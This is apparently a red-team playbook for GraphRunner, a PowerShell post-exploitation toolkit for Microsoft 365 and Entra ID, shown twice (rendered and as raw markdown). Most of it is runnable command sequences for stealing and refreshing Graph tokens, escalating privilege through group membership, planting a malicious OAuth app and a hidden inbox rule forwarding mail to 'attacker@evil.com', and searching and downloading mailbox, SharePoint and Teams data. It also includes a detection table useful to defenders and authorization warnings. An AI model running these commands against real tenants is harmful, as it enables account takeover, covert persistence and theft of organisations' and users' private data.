Post-Exploiting Microsoft Graph with GraphRunner
Authorized use only: GraphRunner performs offensive actions against live Microsoft 365 / Entra ID tenants — deploying OAuth apps, cloning groups, adding members, and reading mailboxes, SharePoint, and Teams. Run it only against tenants you own or are explicitly authorized in writing to test. Unauthorized use is illegal.
Overview
GraphRunner (Beau Bullock / Black Hills Information Security) is a PowerShell post-exploitation toolset built entirely on the Microsoft Graph API. Given a foothold token, it performs recon, establishes persistence, escalates privilege, and pillages M365 data — all through Graph, which blends in with normal traffic and bypasses many endpoint controls. It is the natural follow-on to credential/token theft (e.g., device-code phishing or ROADtools): once you hold Graph access, GraphRunner operationalizes it.
The toolset is a single PowerShell module (GraphRunner.ps1) exposing dozens of functions grouped by purpose:
- Authentication —
Get-GraphTokens (device-code login), Invoke-RefreshGraphTokens, Invoke-AutoTokenRefresh, Invoke-ImportTokens, Invoke-RefreshToSharePointToken.
- Recon & Enumeration —
Invoke-GraphRecon (tenant/user permission summary), Invoke-DumpCAPS (conditional-access policies), Invoke-DumpApps (app registrations / consent grants), Get-AzureADUsers, Get-SecurityGroups, Get-UpdatableGroups, Get-DynamicGroups, Invoke-SearchUserAttributes, Invoke-GraphOpenInboxFinder, Find-PermissiveCalendars.
- Persistence —
Invoke-InjectOAuthApp (deploy a malicious OAuth app for consent-grant persistence), Invoke-CreateInboxForwardingRule.
- Privilege Escalation —
Get-UpdatableGroups, Invoke-AddGroupMember, Invoke-SecurityGroupCloner, Invoke-InviteGuest.
- Pillage / Data Search —
Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, Invoke-SearchTeams, Get-TeamsChat, Invoke-DriveFileDownload.
- Master runner —
Invoke-GraphRunner runs an automated recon-and-pillage pass; List-GraphRunnerModules prints all modules.
This maps to MITRE ATT&CK T1098 — Account Manipulation: GraphRunner manipulates accounts, groups, and OAuth grants (adding members, injecting apps, cloning groups, inviting guests) to maintain and escalate access in the cloud identity plane.
When to Use
- After obtaining a valid Microsoft Graph access/refresh token during an authorized M365/Entra engagement.
- When mapping tenant permissions, conditional-access policies, and OAuth app exposure.
- When establishing cloud persistence via OAuth consent grants or inbox forwarding (in scope).
- When demonstrating privilege escalation through updatable/dynamic groups.
- When searching mailboxes, SharePoint/OneDrive, and Teams for sensitive data to evidence impact.
Prerequisites
- Written authorization and scope for the target tenant.
- A Graph token foothold (from
Get-GraphTokens device-code login, or imported tokens).
- PowerShell 5.1+ or PowerShell 7 (cross-platform).
# Clone and import the module
git clone https://github.com/dafthack/GraphRunner.git
cd GraphRunner
Import-Module .\GraphRunner.ps1
# List every available module
List-GraphRunnerModules
Objectives
- Authenticate to Microsoft Graph and maintain tokens via refresh.
- Enumerate tenant users, groups, CA policies, and OAuth apps.
- Identify updatable groups and demonstrate privilege escalation.
- Establish persistence via an injected OAuth app and/or inbox forwarding rule.
- Search mailboxes, SharePoint/OneDrive, and Teams for sensitive content.
MITRE ATT&CK Mapping
| ID |
Tactic |
Official Technique Name |
Role in this skill |
| T1098 |
Persistence |
Account Manipulation |
Add group members, clone groups, invite guests to retain/escalate access |
| T1098.003 |
Privilege Escalation |
Account Manipulation: Additional Cloud Roles |
Adding members to privileged/updatable groups |
| T1528 |
Credential Access |
Steal Application Access Token |
Get-GraphTokens device-code token acquisition |
| T1087.004 |
Discovery |
Account Discovery: Cloud Account |
Get-AzureADUsers, Invoke-SearchUserAttributes |
| T1114.002 |
Collection |
Email Collection: Remote Email Collection |
Invoke-SearchMailbox over Graph |
| T1606.002 |
Credential Access |
Forge Web Credentials: SAML/OAuth |
Invoke-InjectOAuthApp consent-grant persistence |
Workflow
Step 1: Authenticate and refresh tokens
# Device-code login; complete the code at microsoft.com/devicelogin
Get-GraphTokens
# Refresh the access token when it expires
Invoke-RefreshGraphTokens
# Keep tokens fresh automatically during a long operation
Invoke-AutoTokenRefresh
# Import tokens captured elsewhere (e.g., from ROADtools)
Invoke-ImportTokens -AccessToken $at -RefreshToken $rt
Step 2: Recon and enumeration
# High-level tenant + current-user permission recon
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
# Dump conditional-access policies
Invoke-DumpCAPS -Tokens $tokens -ResolveGuids
# Enumerate app registrations, service principals, and consent grants
Invoke-DumpApps -Tokens $tokens
# Enumerate all users and security groups
Get-AzureADUsers -Tokens $tokens -OutFile users.txt
Get-SecurityGroups -Tokens $tokens
Step 3: Search user attributes for secrets
# Hunt across all user attributes for terms like "password"
Invoke-SearchUserAttributes -Tokens $tokens -SearchTerm "password"
Step 4: Privilege escalation via updatable groups
# Find groups the current principal can modify directly
Get-UpdatableGroups -Tokens $tokens
# Add yourself (or a controlled account) to a target group
Invoke-AddGroupMember -Tokens $tokens -GroupId <group-guid> -UserId <user-guid>
# Clone a privileged security group's membership into a new group you control
Invoke-SecurityGroupCloner -Tokens $tokens
Step 5: Persistence
# Deploy a malicious OAuth app and walk the consent-grant flow for persistence
Invoke-InjectOAuthApp -AppName "Demo App" -ReplyUrl "https://localhost" -Scope "openid profile offline_access Mail.Read"
# Create a hidden inbox forwarding rule on a target mailbox
Invoke-CreateInboxForwardingRule -Tokens $tokens -ForwardTo "attacker@evil.com" -RuleName "Sync"
Step 6: Pillage M365 data
# Search a mailbox (or all reachable mailboxes) for sensitive terms
Invoke-SearchMailbox -Tokens $tokens -SearchTerm "password" -MessageCount 100 -OutFile mail.csv
# Search SharePoint and OneDrive content
Invoke-SearchSharePointAndOneDrive -Tokens $tokens -SearchTerm "secret"
# Download a discovered file
Invoke-DriveFileDownload -Tokens $tokens -DriveItemIDs "<drive-id>:<item-id>" -FileName loot.docx
# Search Teams messages
Invoke-SearchTeams -Tokens $tokens -SearchTerm "vpn"
Step 7: Automated full pass
# Run the orchestrated recon + pillage workflow end to end
Invoke-GraphRunner -Tokens $tokens
Tools and Resources
OPSEC and Detection Considerations
GraphRunner is designed to blend with legitimate Graph traffic, but its actions leave a trail defenders can hunt:
| GraphRunner action |
Telemetry source |
What the defender sees |
Get-GraphTokens (device code) |
Entra sign-in logs |
Device-code grant from the Azure CLI client (04b07795-...) on an unusual device/IP |
Invoke-InjectOAuthApp |
Entra audit logs |
"Add application" + "Consent to application" events with broad delegated scopes |
Invoke-AddGroupMember / Invoke-SecurityGroupCloner |
Entra audit logs |
"Add member to group" on privileged/role-assignable groups |
Invoke-CreateInboxForwardingRule |
M365 audit + mailbox rules |
New inbox rule forwarding externally (often hidden) |
Invoke-SearchMailbox / Invoke-SearchSharePointAndOneDrive |
MicrosoftGraphActivityLogs |
High-volume $search calls against /messages and Drive endpoints |
To reduce noise during an authorized engagement, scope searches with -MessageCount, avoid role-assignable group changes unless required, and always remove injected apps with Invoke-DeleteOAuthApp and forwarding rules during cleanup.
Validation Criteria
1---2name: post-exploiting-microsoft-graph-with-graphrunner3description: Runs GraphRunner, a PowerShell post-exploitation toolset built on the Microsoft Graph API, to perform tenant recon, establish persistence (OAuth app injection, inbox rules), escalate privilege via group manipulation, and pillage mailboxes, SharePoint, and Teams data from a foothold Graph token. Use during authorized red-team engagements against Microsoft 365/Entra ID tenants once you hold a Graph token.4license: Apache-2.05---6# Post-Exploiting Microsoft Graph with GraphRunner
7
8> **Authorized use only:** GraphRunner performs offensive actions against live Microsoft 365 / Entra ID tenants — deploying OAuth apps, cloning groups, adding members, and reading mailboxes, SharePoint, and Teams. Run it only against tenants you own or are explicitly authorized in writing to test. Unauthorized use is illegal.
9
10## Overview
11
12GraphRunner (Beau Bullock / Black Hills Information Security) is a PowerShell post-exploitation toolset built entirely on the **Microsoft Graph API**. Given a foothold token, it performs recon, establishes persistence, escalates privilege, and pillages M365 data — all through Graph, which blends in with normal traffic and bypasses many endpoint controls. It is the natural follow-on to credential/token theft (e.g., device-code phishing or ROADtools): once you hold Graph access, GraphRunner operationalizes it.
13
14The toolset is a single PowerShell module (`GraphRunner.ps1`) exposing dozens of functions grouped by purpose:
15
16- **Authentication** — `Get-GraphTokens` (device-code login), `Invoke-RefreshGraphTokens`, `Invoke-AutoTokenRefresh`, `Invoke-ImportTokens`, `Invoke-RefreshToSharePointToken`.
17- **Recon & Enumeration** — `Invoke-GraphRecon` (tenant/user permission summary), `Invoke-DumpCAPS` (conditional-access policies), `Invoke-DumpApps` (app registrations / consent grants), `Get-AzureADUsers`, `Get-SecurityGroups`, `Get-UpdatableGroups`, `Get-DynamicGroups`, `Invoke-SearchUserAttributes`, `Invoke-GraphOpenInboxFinder`, `Find-PermissiveCalendars`.
18- **Persistence** — `Invoke-InjectOAuthApp` (deploy a malicious OAuth app for consent-grant persistence), `Invoke-CreateInboxForwardingRule`.
19- **Privilege Escalation** — `Get-UpdatableGroups`, `Invoke-AddGroupMember`, `Invoke-SecurityGroupCloner`, `Invoke-InviteGuest`.
20- **Pillage / Data Search** — `Invoke-SearchMailbox`, `Invoke-SearchSharePointAndOneDrive`, `Invoke-SearchTeams`, `Get-TeamsChat`, `Invoke-DriveFileDownload`.
21- **Master runner** — `Invoke-GraphRunner` runs an automated recon-and-pillage pass; `List-GraphRunnerModules` prints all modules.
22
23This maps to MITRE ATT&CK **T1098 — Account Manipulation**: GraphRunner manipulates accounts, groups, and OAuth grants (adding members, injecting apps, cloning groups, inviting guests) to maintain and escalate access in the cloud identity plane.
24
25## When to Use
26
27- After obtaining a valid Microsoft Graph access/refresh token during an authorized M365/Entra engagement.
28- When mapping tenant permissions, conditional-access policies, and OAuth app exposure.
29- When establishing cloud persistence via OAuth consent grants or inbox forwarding (in scope).
30- When demonstrating privilege escalation through updatable/dynamic groups.
31- When searching mailboxes, SharePoint/OneDrive, and Teams for sensitive data to evidence impact.
32
33## Prerequisites
34
35- Written authorization and scope for the target tenant.
36- A Graph token foothold (from `Get-GraphTokens` device-code login, or imported tokens).
37- PowerShell 5.1+ or PowerShell 7 (cross-platform).
38
39```powershell
40# Clone and import the module
41git clone https://github.com/dafthack/GraphRunner.git
42cd GraphRunner
43Import-Module .\GraphRunner.ps1
44
45# List every available module
46List-GraphRunnerModules
47```
48
49## Objectives
50
51- Authenticate to Microsoft Graph and maintain tokens via refresh.
52- Enumerate tenant users, groups, CA policies, and OAuth apps.
53- Identify updatable groups and demonstrate privilege escalation.
54- Establish persistence via an injected OAuth app and/or inbox forwarding rule.
55- Search mailboxes, SharePoint/OneDrive, and Teams for sensitive content.
56
57## MITRE ATT&CK Mapping
58
59| ID | Tactic | Official Technique Name | Role in this skill |
60|----|--------|-------------------------|--------------------|
61| T1098 | Persistence | Account Manipulation | Add group members, clone groups, invite guests to retain/escalate access |
62| T1098.003 | Privilege Escalation | Account Manipulation: Additional Cloud Roles | Adding members to privileged/updatable groups |
63| T1528 | Credential Access | Steal Application Access Token | `Get-GraphTokens` device-code token acquisition |
64| T1087.004 | Discovery | Account Discovery: Cloud Account | `Get-AzureADUsers`, `Invoke-SearchUserAttributes` |
65| T1114.002 | Collection | Email Collection: Remote Email Collection | `Invoke-SearchMailbox` over Graph |
66| T1606.002 | Credential Access | Forge Web Credentials: SAML/OAuth | `Invoke-InjectOAuthApp` consent-grant persistence |
67
68## Workflow
69
70### Step 1: Authenticate and refresh tokens
71
72```powershell
73# Device-code login; complete the code at microsoft.com/devicelogin
74Get-GraphTokens
75
76# Refresh the access token when it expires
77Invoke-RefreshGraphTokens
78
79# Keep tokens fresh automatically during a long operation
80Invoke-AutoTokenRefresh
81
82# Import tokens captured elsewhere (e.g., from ROADtools)
83Invoke-ImportTokens -AccessToken $at -RefreshToken $rt
84```
85
86### Step 2: Recon and enumeration
87
88```powershell
89# High-level tenant + current-user permission recon
90Invoke-GraphRecon -Tokens $tokens -PermissionEnum
91
92# Dump conditional-access policies
93Invoke-DumpCAPS -Tokens $tokens -ResolveGuids
94
95# Enumerate app registrations, service principals, and consent grants
96Invoke-DumpApps -Tokens $tokens
97
98# Enumerate all users and security groups
99Get-AzureADUsers -Tokens $tokens -OutFile users.txt
100Get-SecurityGroups -Tokens $tokens
101```
102
103### Step 3: Search user attributes for secrets
104
105```powershell
106# Hunt across all user attributes for terms like "password"
107Invoke-SearchUserAttributes -Tokens $tokens -SearchTerm "password"
108```
109
110### Step 4: Privilege escalation via updatable groups
111
112```powershell
113# Find groups the current principal can modify directly
114Get-UpdatableGroups -Tokens $tokens
115
116# Add yourself (or a controlled account) to a target group
117Invoke-AddGroupMember -Tokens $tokens -GroupId <group-guid> -UserId <user-guid>
118
119# Clone a privileged security group's membership into a new group you control
120Invoke-SecurityGroupCloner -Tokens $tokens
121```
122
123### Step 5: Persistence
124
125```powershell
126# Deploy a malicious OAuth app and walk the consent-grant flow for persistence
127Invoke-InjectOAuthApp -AppName "Demo App" -ReplyUrl "https://localhost" -Scope "openid profile offline_access Mail.Read"
128
129# Create a hidden inbox forwarding rule on a target mailbox
130Invoke-CreateInboxForwardingRule -Tokens $tokens -ForwardTo "attacker@evil.com" -RuleName "Sync"
131```
132
133### Step 6: Pillage M365 data
134
135```powershell
136# Search a mailbox (or all reachable mailboxes) for sensitive terms
137Invoke-SearchMailbox -Tokens $tokens -SearchTerm "password" -MessageCount 100 -OutFile mail.csv
138
139# Search SharePoint and OneDrive content
140Invoke-SearchSharePointAndOneDrive -Tokens $tokens -SearchTerm "secret"
141
142# Download a discovered file
143Invoke-DriveFileDownload -Tokens $tokens -DriveItemIDs "<drive-id>:<item-id>" -FileName loot.docx
144
145# Search Teams messages
146Invoke-SearchTeams -Tokens $tokens -SearchTerm "vpn"
147```
148
149### Step 7: Automated full pass
150
151```powershell
152# Run the orchestrated recon + pillage workflow end to end
153Invoke-GraphRunner -Tokens $tokens
154```
155
156## Tools and Resources
157
158| Tool | Purpose | Primary Source |
159|------|---------|----------------|
160| GraphRunner (repo) | PowerShell Graph post-exploitation toolset | https://github.com/dafthack/GraphRunner |
161| GraphRunner wiki | Per-module usage guide | https://github.com/dafthack/GraphRunner/wiki |
162| BHIS GraphRunner blog | Tool release + walkthrough | https://www.blackhillsinfosec.com/introducing-graphrunner/ |
163| Microsoft Graph API | API reference for the underlying calls | https://learn.microsoft.com/graph/api/overview |
164| ROADtools | Upstream token acquisition / device-code phishing | https://github.com/dirkjanm/ROADtools |
165
166## OPSEC and Detection Considerations
167
168GraphRunner is designed to blend with legitimate Graph traffic, but its actions leave a trail defenders can hunt:
169
170| GraphRunner action | Telemetry source | What the defender sees |
171|--------------------|------------------|------------------------|
172| `Get-GraphTokens` (device code) | Entra sign-in logs | Device-code grant from the Azure CLI client (04b07795-...) on an unusual device/IP |
173| `Invoke-InjectOAuthApp` | Entra audit logs | "Add application" + "Consent to application" events with broad delegated scopes |
174| `Invoke-AddGroupMember` / `Invoke-SecurityGroupCloner` | Entra audit logs | "Add member to group" on privileged/role-assignable groups |
175| `Invoke-CreateInboxForwardingRule` | M365 audit + mailbox rules | New inbox rule forwarding externally (often hidden) |
176| `Invoke-SearchMailbox` / `Invoke-SearchSharePointAndOneDrive` | MicrosoftGraphActivityLogs | High-volume `$search` calls against `/messages` and Drive endpoints |
177
178To reduce noise during an authorized engagement, scope searches with `-MessageCount`, avoid role-assignable group changes unless required, and always remove injected apps with `Invoke-DeleteOAuthApp` and forwarding rules during cleanup.
179
180## Validation Criteria
181
182- [ ] Graph tokens obtained via `Get-GraphTokens` and refreshed successfully.
183- [ ] Tenant recon completed (`Invoke-GraphRecon`, `Invoke-DumpCAPS`, `Invoke-DumpApps`).
184- [ ] Users and security groups enumerated.
185- [ ] User attributes searched for embedded secrets.
186- [ ] Updatable groups identified and a controlled privilege escalation demonstrated.
187- [ ] Persistence established (OAuth app injection and/or inbox forwarding) where in scope.
188- [ ] Mailbox, SharePoint/OneDrive, and Teams searched for sensitive data.
189- [ ] All actions, object IDs, and evidence logged for the engagement report and cleanup.